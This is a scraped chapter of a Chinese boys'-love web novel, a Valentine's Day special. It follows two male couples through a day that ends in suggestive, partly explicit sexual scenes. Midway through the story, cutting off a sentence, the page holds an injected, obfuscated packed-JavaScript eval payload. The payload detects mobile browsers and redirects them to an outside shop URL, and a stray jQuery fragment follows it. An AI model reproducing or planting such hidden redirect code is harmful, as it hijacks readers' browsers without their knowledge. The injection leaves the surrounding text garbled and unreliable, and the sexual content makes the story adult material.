默认冷灰
24号文字
方正启体

33. 情人节特辑(上)

作者:陆沉炽本书字数:K更新时间:
    二月十四号早上七点,鹿之言是被热醒的。


    不是暖气太热。是身后那个人太热。


    陆知岩像个大型暖炉一样贴着他,手臂箍在他腰上,腿还压着他的小腿。呼吸均匀地打在他后颈,痒痒的。


    鹿之言想动一下。


    身后的人立刻收紧手臂。


    “别动。”陆知岩声音还带着睡意,沙沙的,“再睡会儿。”


    “七点了。”


    “七点怎么了。”


    “你九点要上班。”


    陆知岩沉默了两秒。


    “……让我再抱十分钟。”


    鹿之言没说话。


    但他也没动。


    两人就这样安静地躺着。窗帘透进来一点光,在卧室地板上铺开淡淡的金色。


    过了几分钟。


    “之言。”陆知岩忽然开口。


    “嗯。”


    “你知道今天什么日子吗?”


    鹿之言沉默了一下。


    “……情人节。”


    陆知岩笑了。他把脸埋进鹿之言后颈,闷闷地说:“我老婆记着呢。”


    鹿之言没理他。


    “那你知道,”陆知岩的手开始不老实,从他腰侧往下滑,“我想要什么礼物吗?”


    鹿之言按住他的手。


    “不知道。”


    “那我告诉你——”


    “不想知道。”


    陆知岩委屈了:“之言——”


    “说人话。”


    陆知岩不闹了。他从背后抱着鹿之言,下巴搁在他肩上,声音放得很软。


    “之言,今天能再穿一次那个吗?”


    鹿之言动作顿了一下。


    “哪个?”


    “就那个。”陆知岩说,“女仆装。”


    鹿之言沉默了。


    陆知岩感觉到他的沉默,立刻补充:“就穿一会儿!不用出门!在家就行!”


    “……不穿。”


    “穿一下下?”


    “不。”


    “就让我看一眼?”


    “不。”


    “之言——”


    “陆知岩。”鹿之言打断他,“那套衣服穿着不舒服。”


    陆知岩愣了一下。


    “不舒服?”


    “嗯。”鹿之言声音低下去,“鞋太高,站不稳。布料太薄,有点冷。裙摆太短,一直担心走光。”


    他顿了顿。


    “而且……”他声音更低了,“你那天太凶了。”


    陆知岩心里一软。


    他把鹿之言翻过来,让他面对着自己。


    “对不起。”他亲了亲他的额头,“那天是我太过了。”


    鹿之言没说话。


    “以后不让你穿那个了。”陆知岩说,“不舒服就不穿。”


    他看着鹿之言的眼睛,认真地说:“你穿什么都好看。不穿也好看。”


    鹿之言的耳尖红了。


    “……油嘴滑舌。”


    “真心话。”


    鹿之言没接话。他垂下眼睫,过了一会儿,忽然说:


    “今天……真的想要?”


    陆知岩愣了一下。


    “不用——”他刚开口。


    “晚上。”鹿之言打断他,“等你下班回来。”


    陆知岩张着嘴,看着他。


    鹿之言面无表情地转回去,背对着他。


    但耳尖红透了。


    陆知岩愣了三秒。


    然后他从背后抱住鹿之言,笑得像个傻子。


    “之言!”


    “闭嘴。”


    “我爱你!”


    “知道了。”


    “我爱你我爱你我爱你——”


    “陆知岩。”鹿之言声音平静,“再喊我踹你下去。”


    陆知岩不喊了。


    但他抱着鹿之言,笑得肩膀都在抖。


    鹿之言懒得理他。


    但他嘴角,微微弯了一下。


    上午九点半,陆沉远收到了陆知岩的消息。


    【哥】:[图片]


    陆沉远点开。


    是一张聊天截图。


    备注是“言”。


    时间显示今早七点四十三分。


    【哥】:之言答应今晚再穿女仆装了!


    【言】:……


    【言】:我没答应。


    【哥】:你说了“晚上”。


    【言】:那是让你别现在烦我。


    【哥】:那就是晚上可以!


    【言】:随便你怎么想。


    【哥】:[截图]


    【哥】:看见没,他没否认!


    陆沉远:“……”


    他放下手机,看向坐在旁边的鹿炽。


    他们正在去游乐园的路上。今天是情人节,鹿炽早上八点就被他从被窝里薅起来,塞上车,说带他去玩。


    鹿炽现在靠在副驾驶座上,还有点迷糊。


    “到了吗?”他问。


    “快了。”陆沉远说,“二十分钟。”


    鹿炽“嗯”了一声,又闭上眼睛。


    陆沉远看着他的侧脸。


    阳光从车窗照进来,在他脸上镀了一层淡淡的金色。睫毛很长,偶尔轻轻颤一下。嘴唇微微抿着,看起来软软的。


    陆沉远看了几秒,收回视线。


    手机又震了。


    【哥】:你那边呢?鹿炽今天给你准备什么惊喜?


    陆沉远想了想。


    【弟】:没准备。


    【哥】:?


    【弟】:我准备了。


    【哥】:你准备了什么?


    陆沉远看了眼后座那个藏起来的袋子。


    袋子里装着一件白透衬衫,一件超短包臀裙,还有一双黑皮红底高跟鞋。


    他昨天偷偷买的。


    “陆沉远?”鹿炽睁开眼,“你在看什么?”


    “没什么。”陆沉远收回视线,“在想晚上吃什么。”


    “晚上不是回家吃吗?”


    “嗯。”陆沉远说,“回家吃。”


    他顿了顿。


    “我给你做。”


    鹿炽愣了一下。


    “你会做饭?”


    “会一点。”


    “做什么?”


    陆沉远想了想。


    “你想吃什么?”


    鹿炽看着他,眼睛亮晶晶的。


    “你做的都行。”


    陆沉远笑了。


    “好。”


    游乐园人很多。


    到处都是情侣,牵着手,搂着腰,你喂我一口冰淇淋,我帮你擦嘴角的奶油。空气中弥漫着甜腻的气息——不只是糖,还有恋爱的味道。


    鹿炽第一次来游乐园。


    他站在门口,看着巨大的摩天轮,眼睛都直了。


    “陆沉远,”他扯了扯他的袖子,“那个好高。”


    “想坐吗?”


    “想!”


    陆沉远牵起他的手:“走。”


    一整天,他们玩了旋转木马、海盗船、碰碰车。鹿炽最爱碰碰车,开着粉色小车满场撞人,笑得眼睛弯成月牙。


    陆沉远就在旁边看着他。


    看他笑,看他跑,看他被糖画摊的老爷爷夸“小伙子长得真俊”。


    他忽然觉得,这辈子值了。


    下午四点,鹿炽累了。


    他们坐在长椅上,鹿炽靠在他肩上,手里举着刚买的棉花糖。


    “陆沉远。”


    “嗯。”


    “今天怎么突然想来游乐园?”


    陆沉远想了想。


    “想看你开心。”


    鹿炽愣了一下。


    “就……这样?”


    “嗯。”陆沉远说,“你开心,我就开心。”


    鹿炽没说话。


    他低头咬了一口棉花糖。


    过了很久。


    “我今天很开心。”他小声说。


    陆沉远笑了。


    “那就好。”


    晚上七点,陆沉远把鹿炽送回了家。


    “你先休息会儿。”他说,“我八点来接你。”


    鹿炽愣了一下:“还要出去?”


    “嗯。”陆沉远说,“晚上还有安排。”


    “什么安排?”


    “保密。”


    鹿炽看着他,眼睛亮亮的。


    “……好。”


    陆沉远开车回到自己家。


    他家在城东,一个不大的公寓,平时就他一个人住。今天出门前他收拾过了,客厅干净,卧室也干净。


    他拎着那个袋子上楼。


    进门,把袋子放在床上。


    然后他拿出手机,给鹿炽发消息。


    【远】:八点来接你。


    【炽】:好。


    【远】:穿舒服点。


    【炽】:?


    【远】:晚上要活动。


    【炽】:什么活动?


    陆沉远想了想。


    【远】:保密。


    发完,他把手机放下,走进浴室。


    热水冲下来,他闭上眼睛。


    脑海里浮现出鹿炽穿上那套衣服的样子。


    白透衬衫,若隐若现的皮肤。


    超短包臀裙,刚好遮住大腿根。


    黑色高跟鞋,细跟,红底。


    他睁开眼,把水温调低了一点。


    不能再想了。


    八点整,陆沉远准时出现在鹿炽家门口。


    鹿炽上了车,穿着一件奶白色毛衣和浅色牛仔裤,干干净净的。


    “去哪儿?”他问。


    “我家。”陆沉远说。


    鹿炽愣了一下:“你家?”


    “嗯。”


    “去你家干嘛?”


    陆沉远看了他一眼。


    “吃饭。”


    鹿炽没再问了。


    但他的手,在座位上轻轻攥紧了。


    到了陆沉远家,鹿炽换了拖鞋,在客厅里转了一圈。


    “你家挺干净的。”


    “嗯。”陆沉远把外套挂起来,“你先坐,我去做饭。”


    鹿炽跟到厨房门口,扒着门框看他。


    陆沉远系上围裙,开始洗菜切菜。动作不算熟练,但很认真。


    鹿炽看了几分钟,忽然说:“我帮你。”


    “不用,你坐着。”


    “我想帮。”


    陆沉远转头看他。


    鹿炽站在门口,眼睛亮晶晶的。


    “……过来吧。”


    两人在厨房里忙活了四十分钟。鹿炽负责洗菜、递调料,陆沉远负责切、炒、煮。配合得磕磕绊绊,但居然也做出来三菜一汤。


    吃饭的时候,鹿炽一直笑。


    “笑什么?”陆沉远问。


    “没什么。”鹿炽夹了一块排骨,“就是觉得……你做饭的样子,挺好看的。”


    陆沉远筷子顿了一下。


    “真的?”


    “嗯。”


    陆沉远看着他。


    鹿炽低头吃饭,但耳尖红了。


    吃完饭,陆沉远收拾碗筷。鹿炽要去帮忙,被他拦住。


    “不用。”陆沉远说,“你去洗个澡。”


    鹿炽愣了一下:“洗澡?”


    “嗯。”陆沉远说,“睡衣在浴室架子上,干净的。”


    鹿炽看着他。


    陆沉远的表情很平静。


    “……好。”鹿炽说。


    他走进浴室,关上门。


    水声响起。


    陆沉远在外面把碗放进洗碗机,擦了擦手。他走到卧室,看了一眼床上的袋子。


    袋口封着。


    他深吸一口气,转身回到客厅。


    十分钟后,浴室门开了。


    鹿炽穿着他的睡衣出来——太大了,袖口盖过手指,裤脚拖在地上。头发还湿着,滴着水。


    “陆沉远。”他叫他。


    “嗯?”


    “吹风机在哪儿?”


    陆沉远站起来,走进浴室,拿了吹风机出来。


    “坐下。”他说。


    鹿炽在沙发上坐下。


    陆沉远站在他身后,打开吹风机,帮他吹头发。


    暖风呼呼地响。


    鹿炽眯着眼,很享受的样子。


    头发吹到半干,陆沉远关掉吹风机。


    “好了。”他说。


    鹿炽站起来,转身看他。


    “接下来干嘛?”


    陆沉远看着他。


    睡衣太大,领口滑下去一点,露出半边锁骨。头发乱蓬蓬的,脸上还有刚洗完澡的淡粉色。


    “接下来,”他说,“你去卧室。”


    鹿炽愣了一下。


    “床上有个袋子。”陆沉远说,“穿里面的衣服。”


    鹿炽看着他。


    “然后呢?”


    “然后等我。”


    鹿炽没说话。


    他转身,走进卧室。


    门轻轻关上。


    陆沉远站在原地,站了很久。


    然后他走进浴室。


    热水冲下来,他闭上眼睛。


    心跳很快。


    不知道过了多久,他关掉水,擦干身体,穿上浴袍。


    他走到卧室门口。


    深吸一口气。


    推开门。


    鹿炽站在床边。


    白透衬衫,薄得几乎透明,里面什么都没穿。衬衫下摆塞进包臀裙里,裙子短得刚好遮住大腿根。黑色高跟鞋,细跟,红底。


    他扶着床头柜,站不太稳,小腿微微绷紧。


    头发已经干了,柔软地垂在耳边。


    他低着头,耳尖红透了。


    陆沉远走过去。


    在他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271924|198139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面前站定。


    “鹿炽。”


    鹿炽抬起头。


    他的眼睛湿漉漉的,睫毛在灯光下轻轻颤着。


    “好看吗?”他问。声音很轻。


    陆沉远看了他很久。


    “好看。”他说,“比我想象的还好看。”


    鹿炽的眼泪掉下来。


    “我紧张……”


    “我知道。”陆沉远伸手,帮他擦掉眼泪,“我也是。”


    鹿炽看着他。


    “你紧张什么?”


    “怕弄疼你。”陆沉远说,“怕你不舒服。怕你害怕。”


    他顿了顿。


    “怕太喜欢你了,控制不住。”


    鹿炽愣了一下。


    然后他笑了。


    “那你别控制。”他说。


    他踮起脚——穿着高跟鞋勉强够到——在陆沉远嘴角亲了一下。


    “别控制。”他又说了一遍。


    陆沉远看着他。


    看了很久。


    然后他低头,吻住他。


    这一夜很长。


    窗帘没拉严,月光从缝隙漏进来,照在交叠的人影上。


    鹿炽的声音断断续续。


    有时是呜咽,有时是求饶,有时是陆沉远的名字。


    但陆沉远没停。


    “不是说别控制吗?”他哑声问。


    鹿炽说不出话了。


    他只能抓着床单,把脸埋进枕头里。


    眼泪流了很多。


    但不是因为疼。


    晚上十点,陆知岩回到家。


    客厅没开灯。他正要开灯,忽然看见落地窗前站着一个人。


    鹿之言。


    他穿着那套女仆装。黑色蕾丝,蝴蝶结,黑丝,高跟鞋。


    月光从落地窗照进来,落在他身上。


    他就那样站着,看着窗外的城市夜景。


    听见门响,他转过头。


    “回来了?”


    陆知岩站在玄关,看着他。


    看了很久。


    “嗯。”他走过去。


    在他面前站定。


    “等很久了?”


    “还好。”鹿之言说,“一会儿。”


    陆知岩伸手,轻轻碰了碰他的脸。


    凉的。


    “站多久了?”


    “没多久。”


    陆知岩没说话。他把自己的外套脱下来,披在鹿之言身上。


    鹿之言愣了一下。


    “你……”


    “别着凉。”陆知岩说,“去楼上。”


    “楼上?”


    “嗯。”陆知岩牵起他的手,“陪我去楼上待会儿。”


    二楼有一个小台球室。


    陆知岩打开灯,绿呢台球桌静静地躺在那里。


    “会打吗?”他问。


    “不会。”


    “我教你。”


    他拿起球杆,摆好姿势,给鹿之言示范。


    鹿之言在旁边看着。


    示范完,陆知岩把球杆递给他。


    “试试。”


    鹿之言接过球杆。


    他弯下腰,准备击球。


    裙摆太短。一弯腰,什么都露出来了。


    陆知岩站在旁边,看见了。


    他喉结动了动。


    “姿势不太对。”他走过去,从后面握住他的手,“手要这样放。”


    鹿之言没说话。


    他被他圈在怀里,能感觉到他的体温。


    “腰再低一点。”陆知岩说。


    鹿之言弯腰。


    裙摆又往上缩了缩。


    陆知岩的呼吸重了一点。


    但他没动。他只是继续握着鹿之言的手,帮他调整姿势。


    “瞄准那颗红球。”他说,“打。”


    鹿之言击球。


    没进。


    “再来。”陆知岩说。


    第二杆,还是没进。


    第三杆,终于进了一颗。


    鹿之言直起腰,转头看他。


    “进了。”


    陆知岩看着他。


    月光从窗户照进来,落在鹿之言身上。黑色蕾丝在月光下泛着淡淡的光泽,蝴蝶结系在锁骨下方,裙摆因为刚才的动作皱起一点,露出大腿根。


    他还穿着高跟鞋,站得不太稳,一只手扶着台球桌边缘。


    “嗯。”陆知岩说,“进了。”


    他松开手。


    退后一步。


    “再来一杆?”


    鹿之言看着他。


    他的眼睛在月光下很亮。


    “好。”


    他又弯下腰。


    这次他弯得很低。


    裙摆什么都遮不住了。


    陆知岩没再教他。


    他站在旁边,看着。


    看着鹿之言弯腰击球,看着他因为站不稳微微晃动,看着他身上的蕾丝在月光下轻轻颤动。


    鹿之言又进了一颗球。


    他直起腰,转头看陆知岩。


    “又进了。”


    陆知岩看着他。


    看了很久。


    然后他走过去。


    “之言。”


    “嗯。”


    “你知道你在干什么吗?”


    鹿之言看着他。


    “知道。”


    陆知岩的呼吸重了。


    “那你知道,”他声音低下去,“我快忍不住了吗?”


    鹿之言的嘴角微微弯了一下。


    “那就别忍。”


    陆知岩看着他。


    三秒后。


    球杆掉在地上。


    鹿之言被按在台球桌上。


    绿色的呢绒贴着后背,有点凉。但很快就不凉了,因为陆知岩压了上来。


    “之言。”他在他耳边说。


    “嗯。”


    “你刚才弯腰的时候。”


    “嗯?”


    “我脑子里只有一个念头。”


    鹿之言看着他。


    “什么?”


    陆知岩低头,吻住他的锁骨。


    “□□。”


    这一夜很长。


    台球室的灯亮到很晚。


    鹿之言后来不记得自己进了多少颗球。


    他只记得绿色的呢绒,黑色的蕾丝,月光,还有陆知岩的呼吸。


    快天亮的时候,陆知岩把他抱回卧室。


    鹿之言已经困得睁不开眼了。


    “陆知岩。”他迷迷糊糊地说。


    “嗯。”


    “情人节快乐。”


    陆知岩愣了一下。


    然后他笑了。


    “快乐。”他在他额头落下一个吻,“我的情人节礼物,是最好的。”


    鹿之言没说话。


    但他往他怀里靠了靠。


    但对他们来说,每一天都是情人节。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)